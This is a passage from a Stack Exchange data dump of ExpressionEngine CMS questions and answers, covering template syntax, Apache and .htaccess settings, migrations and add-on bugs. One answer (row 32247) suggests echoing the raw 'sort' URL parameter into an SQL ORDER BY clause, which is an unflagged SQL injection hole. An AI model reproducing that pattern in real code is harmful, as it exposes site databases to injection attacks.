src=&quot;{image}&quot;}'}&#xA;                    &amp;lt;div class=&quot;post-images&quot;&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;post-content&quot; id=&quot;{count}&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;/{embed:category_name}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            {exp:word_limit total=&quot;15&quot;}&#xA;                            {body}&#xA;                            {/exp:word_limit}&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            &amp;lt;!-- /Cols --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols 9 --&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-3 col-sm-3&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;add&quot;&amp;gt;&#xA;                {ad_300x100_general_top}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;add&quot;&amp;gt;&#xA;                {ad_300x100_general_top}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- /Cols --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP ON INPUT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Removed the &lt;code&gt;exit&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Removed the angled quoates from around your php tags&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please let us know how you fair with this...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T15:14:30.123" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32217" PostTypeId="2" ParentId="13739" CreationDate="2015-07-07T15:17:10.900" Score="0" Body="&lt;p&gt;Also, try the site without any &lt;code&gt;.htaccess&lt;/code&gt; files. If the server (apache) is bawking trying to read these (because the apache version/config is different on the new server) the bad &lt;code&gt;.htaccess&lt;/code&gt; can casue a WSOD.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T15:17:10.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32219" PostTypeId="2" ParentId="32213" CreationDate="2015-07-07T15:22:02.297" Score="0" Body="&lt;p&gt;Russ, did you clear your cookies between experiments??? Blank will cause the current path to be used (I guess PHPSESSID was set while you visited /members/). the slash should behave as you desire, but it there's already a PHPSESSID cookie set onthe domain before you made the change, this cookie will not overwrite, ergo the old path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be wrong but worth asking!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-07T15:22:02.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32220" PostTypeId="1" CreationDate="2015-07-07T15:29:24.150" Score="0" ViewCount="47" Body="&lt;p&gt;Am I missing something? It displays the 0, and 1 comment, but not multiple comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's a simple answer, but I can't see what error I'm making, and I'm not getting any feedback in developer mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using default comments with EE, and i'm using version 2.9.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {total_results} == 0}&amp;lt;h4&amp;gt;0 Comments&amp;lt;/h4&amp;gt;&#xA;{if:elseif {total_results} == 1}&amp;lt;h4&amp;gt;{total_results} Comment&amp;lt;/h4&amp;gt;     &#xA;{if:elseif {total_results} &amp;gt; 1}&amp;lt;h4&amp;gt;{total_results} Comments&amp;lt;/h4&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6428" LastActivityDate="2016-06-05T12:54:01.720" Title="comment count + syntax error?" Tags="|error|comments|syntax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32221" PostTypeId="2" ParentId="32220" CreationDate="2015-07-07T15:31:54.583" Score="0" Body="&lt;p&gt;Try these two variations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_results == 0}&amp;lt;h4&amp;gt;0 Comments&amp;lt;/h4&amp;gt;&#xA;{if:elseif total_results == 1}&amp;lt;h4&amp;gt;{total_results} Comment&amp;lt;/h4&amp;gt;     &#xA;{if:elseif total_results &amp;gt; 1}&amp;lt;h4&amp;gt;{total_results} Comments&amp;lt;/h4&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{total_results}&quot; == 0}&amp;lt;h4&amp;gt;0 Comments&amp;lt;/h4&amp;gt;&#xA;{if:elseif &quot;{total_results}&quot; == 1}&amp;lt;h4&amp;gt;{total_results} Comment&amp;lt;/h4&amp;gt;     &#xA;{if:elseif &quot;{total_results}&quot; &amp;gt; 1}&amp;lt;h4&amp;gt;{total_results} Comments&amp;lt;/h4&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template parser can get really wonky sometimes, and doesn't parse everything in the correct order.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-07T15:31:54.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32226" PostTypeId="2" ParentId="25774" CreationDate="2015-07-07T21:52:50.310" Score="0" Body="&lt;p&gt;The problem was an EE bug. I upgraded and the problem went away. Thanks to Bluedreamer for the comment which gave me the solution.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2015-07-07T21:52:50.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32227" PostTypeId="2" ParentId="32200" CreationDate="2015-07-07T22:58:18.630" Score="0" Body="&lt;p&gt;You will need to add an email field to the form before you can get a field to choose for user notification emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin notification emails can only be directly set on the parameter and cannot be set via a field. You can also set it in the form preferences in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need additional notification types, there are the dynamic recipients:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#recipients&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#recipients&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which let you specify a hidden list of emails, chosen by the user with a key that posts and selects the hidden email (this helps to prevent spam) or you can use a user inputted email notification via user recipients:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#recipient_user_input&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#recipient_user_input&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-07-07T22:58:18.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32228" PostTypeId="2" ParentId="17012" CreationDate="2015-07-07T23:32:30.727" Score="1" Body="&lt;p&gt;To add to this now old topic, I had a similar issue. While the original poster found the solution for their case, in my case the answer from BellamyStudio worked: &lt;a href=&quot;https://stackoverflow.com/questions/10938330/unable-to-remove-index-php-on-expressionengine-wamp-installation#answer-11906830&quot;&gt;https://stackoverflow.com/questions/10938330/unable-to-remove-index-php-on-expressionengine-wamp-installation#answer-11906830&lt;/a&gt;, updating the vhost.conf file, or in my case the file /etc/apache2/sites-available/default, to &quot;AllowOverride All&quot; for the directory where my site was hosted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /the/path/to/my/webroot/&amp;gt;&#xA;  AllowOverride All&#xA;  Order allow, deny&#xA;  Allow from all&#xA;&amp;lt;/Direcory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, my apache configuration was completely ignoring my htaccess file. Setting &quot;AllowOverride All&quot; made apache use the htaccess file in the webroot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side note:&lt;/strong&gt; An easy test to see if your webserver is ignoring your htaccess file is to just add some junk data (a random string of letter for example) to the top of the htaccess file in the webroot, and then reload the website. If the result is an error (usually an &quot;internal server error&quot;) then your webserver IS using the htaccess. Otherwise, the webserver IS NOT using the htaccess. &lt;/p&gt;&#xA;" OwnerUserId="6472" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-07-07T23:32:30.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32229" PostTypeId="1" CreationDate="2015-07-07T23:35:10.270" Score="1" ViewCount="71" Body="&lt;p&gt;I would value any suggestions / help available regarding a weird problem I'm having with an EE migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to create a clone of an existing site (that works just fine) to do some development to the site templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a clean build of EE 2.10.1 on the development server, and it works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've moved all the ancillary files associated with the existing site (e.g. Templates, Add-ons etc.) to the development server, and they are all visible and / or in the right place.  But I've retained the (working) config.php and database.php files from the initial setup of the new machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've exported the MySQL of existing site using phpmyadmin - a process I've used before and works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edit the MySQL dump to remove table relating to CECache (which points to cache entries I did not migrate across).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've imported the exported MySQL tables into the MySQL of the newly created server.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to log into the CP and get no further than the login screen looping back after each attempt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look and it appeared that the 'new' site was trying to load some assets from the old site - presumably due to settings in the imported MySQL (as config.php and database.php remain unchanged and relate only to new site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I reload the original database for new site, and check it works as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edit the MySQL dump to change all references in there to the old site (or the old file path) to the new site URL / site path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try importing the edited MySQL to the new site database, and try to log in, and get same error as before - but this time the new site is not trying to load assets from the old site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the fixes I can find for this assume / suggest it is a problem with settings in the config.php file.  But in this case, as I have a working config.php, the error must be something that is introduced via the MySQL import - not sure what though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with any ideas?  Would value any / all suggestions about how to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-06-10T13:59:36.427" Title="Help diagnosing weird migration problem" Tags="|ee2|migration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32230" PostTypeId="1" CreationDate="2015-07-08T02:32:39.363" Score="0" ViewCount="90" Body="&lt;p&gt;Does anyone know if there is an issue with this plugin for v 2.10.1 of EE? I've installed the plugin, created a rule for Entry Added, but I'm not receiving any notifications. I don't receive an error or anything, but nothing happens. I feel like I'm missing something really simple as the plugin seems very straightforward. My goal is for the super admin to be notified when a new entry has been added because the entry is closed and they have to know so they can change the status to open. I'm using it to moderate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uje3n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6474" LastActivityDate="2015-07-08T02:32:39.363" Title="MX Notify Control in EE v 2.10.1" Tags="|mx-notify|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32233" PostTypeId="2" ParentId="25087" CreationDate="2015-07-08T11:57:08.610" Score="0" Body="&lt;p&gt;This could be caused by missing curly bracket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had hard time debugging this, turned out I had&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;return=&quot;{segment_1}/{segment_2/thanks&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where I should had&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;return=&quot;{segment_1}/{segment_2}/thanks&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-07-08T11:57:08.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32234" PostTypeId="2" ParentId="32095" CreationDate="2015-07-08T13:00:37.040" Score="0" Body="&lt;p&gt;if the dynamic timespan is your problem, try using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start_on=&quot;-2 Weeks&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and (optional)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;stop_before=&quot;{current_time}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and first try to test it with a regular template. You will not need an addon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to avoid using php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gabriel&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2015-07-08T13:00:37.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32236" PostTypeId="2" ParentId="32229" CreationDate="2015-07-08T13:34:22.563" Score="0" Body="&lt;p&gt;Check these: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the site remove the index.php? If so, did you import the&#xA;.htaccess file and are there any directory customisations in there?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In config.php, check these variables:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;cp_url&lt;/li&gt;&#xA;&lt;li&gt;site_label&lt;/li&gt;&#xA;&lt;li&gt;base_url&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ce_image&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in /index.php, are there any custom config values you might&#xA;have forgotten?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="175" LastActivityDate="2015-07-08T13:34:22.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32238" PostTypeId="1" AcceptedAnswerId="32294" CreationDate="2015-07-08T14:50:51.397" Score="0" ViewCount="235" Body="&lt;p&gt;My clients site has been using Channel Videos module for a couple years. Recently the 'Submit Video URL' for YouTube has stopped working, you enter a URL click OK, but nothing happens. Searching for them by Keyword still works, and both functions still work for Vimeo. I have tried to update to the latest version (3.2.0A) as noticed in the Change Log it adds support for Youtube v3 API. (Which I figured could have been the problem) But when I try and update the module as described in the documentation I get a syntax error on the site –&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected ':' in /home/sites/domain.com/public_html/system/expressionengine/third_party/channel_videos/ft.channel_videos.php on line 293&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and have had to revert back to the previously installed version. Can anyone offer any help?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastEditorUserId="1149" LastEditDate="2015-07-09T20:08:22.497" LastActivityDate="2018-05-13T20:47:42.780" Title="Submit Video URL no longer working in Channel Videos" Tags="|module|devdemon|channel-videos|syntax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32239" PostTypeId="1" AcceptedAnswerId="32248" CreationDate="2015-07-08T16:20:18.193" Score="1" ViewCount="37" Body="&lt;p&gt;I am using the UPS shipping plugin.  My customer is logged in but when they get to step one in the checkout where I display the shipping options the shipping charge is $0.00 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual charge is not displayed until the proceed to the final step in teh checkout process&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I display the shipping charge on this initial checkout page rather that on the final step before heading to paypal?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-07-09T00:46:08.820" Title="Exp-resso Store shipping rates display live" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32240" PostTypeId="1" CreationDate="2015-07-08T16:47:34.930" Score="0" ViewCount="785" Body="&lt;p&gt;I tried to disable XSS filter but it does not help. I use file manager to upload files.&#xA;Errors I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: file_id&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 199&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: mime_type&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 388&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: file_name&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 392&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: upload_location_id&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 393&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: file_name&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 398&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: file_size&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 408&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: upload_location_id&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 413&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: modified_date&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 202&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: replace&#xA;&#xA;Filename: cp/content_files_modal.php&#xA;&#xA;Line Number: 205&#xA;&#xA;File Already Exists:&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined variable: original_name&#xA;&#xA;Filename: core/Loader.php(727) : eval()'d code&#xA;&#xA;Line Number: 4&#xA;&#xA;&#xA;A file with that filename already exists. You can either choose a new name and the file will be renamed, or you can use the same name and the existing file will be overwritten.&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined variable: hidden&#xA;&#xA;Filename: core/Loader.php(727) : eval()'d code&#xA;&#xA;Line Number: 7&#xA;&#xA;&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined variable: original_name&#xA;&#xA;Filename: core/Loader.php(727) : eval()'d code&#xA;&#xA;Line Number: 8&#xA;&#xA;&quot; class=&quot;text&quot; /&amp;gt;.&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined variable: file_extension&#xA;&#xA;Filename: core/Loader.php(727) : eval()'d code&#xA;&#xA;Line Number: 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wojtek&lt;/p&gt;&#xA;" OwnerUserId="6476" LastEditorUserId="1162" LastEditDate="2015-07-10T16:43:07.440" LastActivityDate="2020-01-29T19:02:00.313" Title="I get PHP error when I try to upload some pdf files when other work great" Tags="|file-uploads|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32243" PostTypeId="2" ParentId="26938" CreationDate="2015-07-08T18:56:40.527" Score="0" Body="&lt;p&gt;Forgot about this Question until Laurance commented. Here is my working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:gmap:marker &#xA;  id=&quot;map&quot; &#xA;  latitude=&quot;{branch_latitude}&quot; &#xA;  longitude=&quot;{branch_longitude}&quot;&#xA;  duplicate_markers=&quot;false&quot;&#xA;  icon=&quot;/images/map-pin.png&quot;&#xA;  geocode=&quot;false&quot; &#xA;  clustering=&quot;true&quot;&#xA;  latitude=&quot;{branch_latitude}&quot; &#xA;  longitude=&quot;{branch_longitude}&quot;&#xA;  limit=&quot;100&quot;&#xA;  entry_id=&quot;{entry_id}&quot;&#xA;&#xA;  infobox=&quot;true&quot;&#xA;  offsetY=&quot;-40&quot;&#xA;  offsetX=&quot;0&quot;&#xA;  class=&quot;entry-{entry_id} ui-infobox-dark&quot;&#xA;  closeBoxMargin=&quot;5px&quot;&#xA;}&#xA;  &amp;lt;div class=&quot;ui-infobox-content&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;    {branch_address} &amp;lt;br&amp;gt;&#xA;    {branch_city} {branch_province} &amp;lt;br&amp;gt;&#xA;    {branch_postcode} &amp;lt;br&amp;gt;&#xA;    Work Phone: {branch_phone} &amp;lt;br&amp;gt;&#xA;    Toll Free: {branch_toll_free} &amp;lt;br&amp;gt;&#xA;    Fax Number: {branch_fax}&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:gmap:marker}&#xA;&#xA;{!--&#xA;// add active class to branch card to highlight it.&#xA;--}&#xA;{exp:gmap:event id=&quot;map&quot;}&#xA; $('.branch-block article.entry{entry_id}').addClass('active'); &#xA;&#xA;&#xA; $( &quot;.ui-infobox-dark img&quot; ).click(function() { &#xA;    $('.branch-block article').removeClass('active'); &#xA;&#xA;    console.log('was clicked');&#xA;&#xA;  }); &#xA;&#xA; {/exp:gmap:event} &#xA;&#xA;{exp:gmap:event id=&quot;map&quot; event=&quot;closeclick&quot;}&#xA;   $('.branch-block article.entry{entry_id}').removeClass('active');&#xA;{/exp:gmap:event}&#xA;&#xA;&#xA;{!--&#xA;  http://devot-ee.com/add-ons/support/google-maps/viewthread/14346#47060&#xA;--}&#xA;&amp;lt;script&amp;gt;&#xA;  for(var x in map_markers) {&#xA;   var marker = map_markers[x];&#xA;   var id = marker.entry_id;&#xA;&#xA;   // If this console.log doesn't return an entry_id, you need to&#xA;   // pass the entry_id using a parameter to your exp:gmap:marker tag.&#xA;   console.log('entry_id:', id);&#xA;&#xA;   if(marker.window) {&#xA;    google.maps.event.addListener(marker.window, 'closeclick', function() {&#xA;     // $('.branch-block article.entry'+id).removeClass('active');&#xA;     $('.branch-block article').removeClass('active');&#xA;     console.log('this was clicked');&#xA;    });&#xA;   }&#xA;  } &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-07-08T18:56:40.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32244" PostTypeId="1" CreationDate="2015-07-08T19:28:16.437" Score="0" ViewCount="78" Body="&lt;p&gt;I'm setting up Subscriptions and keep running into an issue where, on the subscription page shown here: &lt;a href=&quot;http://d.pr/i/1jWCX&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/1jWCX&lt;/a&gt;, if the user fills out the form in a way that results in an error (say, a bad credit card), when they click back to this page from the error message page, they see something like this: &lt;a href=&quot;http://cl.ly/image/3o0v3Y3w041t&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/3o0v3Y3w041t&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL is the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the working page, the url is /join/membership-payment/premier - with segment_3 being the trigger for different plans they can buy. In this case, premier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the page they are returned to, the url is /join/membership-payment/dev.augi.com/join/membership-payment and segment_3 is the domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes me think that Subscriptions is creating its return URL value incorrectly. It works just fine if there are no errors in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my subscriptions tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:subs:subscribe &#xA;  payment_method=&quot;authorizenet_cim&quot;&#xA;  plan=&quot;{embed:plan}&quot; &#xA;  return=&quot;join/create-profile/step-1/%SUBS_HASH%&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="149" LastActivityDate="2016-06-05T15:56:48.037" Title="Return URL issue in DevDemon Subscriptions" Tags="|devdemon|subscriptions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32245" PostTypeId="1" CreationDate="2015-07-08T19:53:17.317" Score="1" ViewCount="372" Body="&lt;p&gt;I'm using the query module to return entries for a particular page. I would like to create a drop down list where the user can change how the entries on those pages are sorted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible to use something like Mo' Variables to add something in the URL string that I can pick up and use in my query to change my sort on page refresh? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.site.com/category_name/?sort=rating_rank&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm reaching for straws, so need some good guidance. &lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2019-02-01T00:01:30.230" Title="parameters in URL for query sorting" Tags="|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32246" PostTypeId="1" AcceptedAnswerId="32250" CreationDate="2015-07-08T20:11:15.507" Score="1" ViewCount="36" Body="&lt;p&gt;We have encountered issues when running Exp-resso 2.5.1 in tandem with Structure 3.3.17 when accessing the Control Panel Inventory page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $product-&gt;channel_id that is requested on line 94 of InventoryController.php does not exist, and therefore when the link to edit an Inventory item is clicked, the channel_id is omitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically this does not cause problems, however when using Structure and editing a channel entry directly from the Inventory page, the lack of a channel_id in the URL string seems to break something with Structure. This can typically be fixed by editing the channel entry in Structure and saving it without making changes, but our clients are often unable to recall these simple steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I request that the following edit be made to the official build. On line 43 of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/third_party/store/src/Cp/InventoryController.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;REPLACE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select(array('store_products.*', 'channel_titles.title', $this-&amp;gt;ee-&amp;gt;store-&amp;gt;db-&amp;gt;raw('SUM(`stock_level`) AS `total_stock`')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WITH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select(array('store_products.*', 'channel_titles.title', 'channel_titles.channel_id', $this-&amp;gt;ee-&amp;gt;store-&amp;gt;db-&amp;gt;raw('SUM(`stock_level`) AS `total_stock`')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding the channel_titles.channel_id column to the query should resolve this issue in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time and effort put into this addon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phil Dowson&lt;/p&gt;&#xA;" OwnerUserId="4922" LastEditorUserId="115" LastEditDate="2015-07-09T07:26:53.987" LastActivityDate="2015-07-09T07:30:24.327" Title="Missing channel_id in Inventory Edit Entry URL breaks Structure" Tags="|expresso-store|structure|url|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32247" PostTypeId="2" ParentId="32245" CreationDate="2015-07-08T21:04:42.390" Score="1" Body="&lt;p&gt;sure, that is doable.&#xA;set your template to read php on input.&#xA;then in your query do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORDER BY &amp;lt;?php echo ee()-&amp;gt;input-&amp;gt;get('sort'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or something like that&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-07-08T21:04:42.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
